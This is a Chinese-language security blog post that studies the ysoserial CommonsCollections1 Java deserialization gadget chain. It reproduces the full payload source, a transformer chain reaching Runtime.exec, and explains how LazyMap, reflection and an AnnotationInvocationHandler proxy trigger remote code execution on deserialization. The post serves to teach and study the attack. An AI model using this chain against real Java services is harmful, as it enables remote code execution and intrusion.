freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

java反序列化学习-ysoserial-CommonsCollections1
VegetaY 2023-06-09 21:38:39 122211
所属地 浙江省

CommonsCollections1

CommonsCollections1源码

package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs),new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}

2.1、Transformer

直接看getObject(),从new了一个HashMap()之后就调用了该对象的decorate()方法,随后就进入ysoserial.Gadgets。也就是说我们的恶意对象在new HashMap之前就已经准备好了,所以直接看前面的代码。这些代码主要做了下面这些事:

第一步、new了一个ChainedTransformer的对象transformerChain

这是调用transformerChain的地方,可以看到它传入了一个Transformer类型的数组,这个数组只有一个值new ConstantTransformer(1)

final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) }
);

跟进new ConstantTransformer(1),将传入的constantToReturn赋值给属性iConstant之后就没做别的事,所以Transformer[]数组的唯一一个成员是ConstantTransformer类的一个对象。

image-20230609104724041image-20230609104724041

接着看new ChainedTransformer,ChainedTransformer的构造方法也制作了一件事,把传入的Transformer数组复制给自己的属性iTransformers

image-20230609104923823image-20230609104923823

第二部、创建了一个Transformer类型的数组transformers

transformers数组有以下几个成员

new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs),
new ConstantTransformer(1)

先看new ConstantTransformer(Runtime.class),transformers[1]是一个iConstant属性为java.lang.Runtime类的对象

image-20230609105522897image-20230609105522897

再看三个连续的new InvokerTransformer,唯一的差别就是传入的参数不同。InvokerTransformer接收三个参数,看名字猜第一个是最后会调用的方法名字,第二个是一个数组存放被调用方法需要传入的参数的类型,第三个也是数组用来保存传入被调用方法的参数,并且分别复制给自己的三个属性

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;}

最后一个和第一步一样。到这一步看似已经知道payload的了但是装载好payload之后从哪里调用还不清楚。

2.2、LazyMap

恶意对象配置完了之后就进入了new HashMap()随后调用了decorate()。hashmap是java自带的作用就是生成一个类似python字典一样的对象。重点看decorate(),两个decorate方法都是return了一个LazyMap对象。

image-20230609111451110image-20230609111451110

继续跟进LazyMap类中。LazyMap的构造方法平平无奇,但是在LazyMap的get方法中调用了了熟悉的transform()

image-20230609111753916image-20230609111753916

回头看new LazyMap(map, factory),map和factory都是decorate(Map map, Transformer factory)传进来的。回到调用decorate的地方,传入的factory正好是之前new的transformerChain,就是说在LazyMap的get调用的transform就是transformerChain的方法。

image-20230609112256689image-20230609112256689

看到transformerChaintransform,这个方法遍历了自己的iTransformers属性并且调用了iTransformers成员的transform方法

image-20230609112618599image-20230609112618599

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);}
return object; }

transform方法来源于接口Transformer,Transformer被很多类实现。其中就包括前面第二步里面的ConstantTransformer、InvokerTransformer

image-20230609112919507image-20230609112919507

分别去看ConstantTransformer、InvokerTransformer重写的transform方法

ConstantTransformer.transform

image-20230609113314164image-20230609113314164

InvokerTransformer.transform

在InvokerTransformer.transform发现了危险函数的调用。选中部分代码利用到了java反射的知识。

image-20230609113334284image-20230609113334284

java类、反射

java是面向对象的语言,java中一切都可以看成对象。比如"aaaa"就是String的对象,换个说法可以认为"aaaa"是String类型。每个对象都被分类好有自己的类型。同时,”类“的本身也属于一种类型,在java中就是class 类,就是类的类型。因为一切都是类的对象就意味着一切都是class类型的。类在运行的时候jvm会自己new一个class类用来保存所运行的类的一些方法和属性。

class本身也是java写好的一个class文件,里面定义了一些常见的共有的方法。

image-20230609114629649image-20230609114629649

java的反射就是可以通过class获取类的名称、修饰符、父类、接口、构造方法、字段和方法等信息。

我们可以使用下面这些方法获得对应的class对象

/*类名.class;
对象.getClass();
Class.forName("类名");*/
Class a = String.class;
Class b = new String().getClass();
Class c = Class.forName("java.lang.String");

class类中存在一个getMethod方法,它返回一个Method类型的对象。我们可以利用这个方法获得某一个类中的成员方法。

image-20230609115609108image-20230609115609108

String bb = "1111";
Class cls_bb = bb.getClass();
Method mth_str = cls_bb.getMethod("toString");
System.out.println(mth_str);

image-20230609120100263image-20230609120100263

获取到Method对象之后就可以使用Method类的方法invoke来调用获得的方法了

invoke.invoke()

@CallerSensitive
public Object invoke(Object obj, Object... args)
throws IllegalAccessException, IllegalArgumentException,
InvocationTargetException{
if (!override) {
if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
Class<?> caller = Reflection.getCallerClass();
checkAccess(caller, clazz, obj, modifiers); } }
MethodAccessor ma = methodAccessor;             // read volatile
if (ma == null) {
ma = acquireMethodAccessor();}
return ma.invoke(obj, args); }

2.3、AnnotationInvocationHandler

回到对CommonsCollections1源码的分析,在InvokerTransformer.transform中存在以下代码:

Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

经过java类、反射的了解再看这段代码就一目了然了。回到CommonsCollections1源码

重点在下面这句Reflections.setFieldValue(transformerChain, "iTransformers", transformers);Reflections时ysoserial的工具类,setFieldValue可以设置某个类的属性值,这一行代码的效果就是将transformerChain的iTransformers属性设置成第二步创建的数组。

image-20230609135126392image-20230609135126392image-20230609142400933image-20230609142400933

现在最后的问题就是,谁来调用LazyMap的get()方法?

AnnotationInvocationHandler

AnnotationInvocationHandler是一个 Java 内置的动态代理类。

image-20230609154611424image-20230609154611424

AnnotationInvocationHandler在继承Serializable的同时还有一个Map类型的memberValues属性可以调用get()方法,而且在其构造函数中可以根据传入的参数控制。memberValues属性的值。

AnnotationInvocationHandler重写了readObject方法但是在readObject中并没有调用memberValues.get(),但是在invoke方法中存在调用。

image-20230609154902488image-20230609154902488

现在的问题回到如何调用AnnotationInvocationHandler #invoke,刚刚好AnnotationInvocationHandler 实现了接口InvocationHandler,可以利用动态代理的方法。

java动态代理

Java的动态代理是一种在运行时创建代理对象的机制,它允许在不改变原始类代码的情况下增强其功能。代理对象是一个实现了一个或多个接口的类,它可以通过调用代理方法来操作原始对象。这些代理方法在被调用时会执行与原始方法相同的逻辑,并且可能会在执行前后执行其他额外的逻辑。

动态代理对象有一个很特殊的能力:调用被代理类的方法时会首先调用动态代理对象的的invoke方法。

代码举例:再调用proxyMap的get和put方法时都运行System.out.println("This is the proxy's invoke !");

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class MyProxy implements InvocationHandler {
protected Map map;
public MyProxy(Map map){this.map = map;}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("This is the proxy's invoke !");
return method.invoke(this.map, args);}}

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args){
InvocationHandler hashmap1 = new MyProxy(new HashMap());
Map p=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},hashmap1);
p.put("VegetaY","牛13");
String re=(String)p.get("hi");
System.out.println(re);}}

image-20230609171139736image-20230609171139736

Proxy#newProxyInstance()

用于创建一个动态代理对象。需要三个参数:ClassLoader,interfaces,重写invoke方法的InvocationHandler实现类

image-20230609170012383image-20230609170012383

总结

继续回到CommonsCollections1的源码,在执行Reflections.setFieldValue(transformerChain, "iTransformers", transformers);之前还有2行代码:

Map mapProxy = (Map)Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]);
InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

createMemoitizedProxy

image-20230609160202729image-20230609160202729

先进入createMemoizedInvocationHandler,调用了Reflections.getFirstCtor通过Class.forName(name)返回sun.reflect.annotation.AnnotationInvocationHandler类的Class对象。同时还执行getDeclaredConstructors获取AnnotationInvocationHandler的所有构造函数并去第一个结果。然后执行setAccessible取消对私有成员的限制,允许在运行时访问和修改Java对象的私有字段、方法和构造函数。

image-20230609160339255image-20230609160339255

getFirstCtor出来之后调用了newInstance实例化一个AnnotationInvocationHandler对象

image-20230609171655141image-20230609171655141

因为AnnotationInvocationHandler的构造方法中有一行代码:this.memberValues = var2;这个var2就是lazyMap

最后将返回值转换成InvocationHandler类型

接着进入createProxy再进入Proxy.newProxyInstance

image-20230609161150030image-20230609161150030

最后一路return,到此动态代理创建完成。

接着进入InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);这时候传进去的时创建好的mapProxy,最后返回的handle已经是一个AnnotationInvocationHandler类型的数据

image-20230609172513511image-20230609172513511

下一步就是CommonsCollections1的序列化和反序列化操作了。

image-20230609172842101image-20230609172842101

这时可以解密最关键的一步,怎么让invoke运行?

再2.3分析AnnotationInvocationHandler 的时候说过,它重写了readObject方法。虽然里面没有直接调用get方法,但是里面有调用memberValues的其他方法。由于代理对象的缘故,Iterator var4 = this.memberValues.entrySet().iterator();执行这一步时会进入invoke()调用get方法

image-20230609173046944image-20230609173046944

成功rce

image-20230609173316224image-20230609173316224

# 网络安全技术 # java反序列化 # Java代码审计
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 VegetaY 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
VegetaY LV.4
这家伙太懒了,还未填写个人描述!
  • 13 文章数
  • 7 关注者
Shiro反序列化源码分析学习
2024-01-22
java反序列化学习-ysoserial-CommonsCollections3
2023-06-16
java反序列化学习-ysoserial-Spring1
2023-06-14
文章目录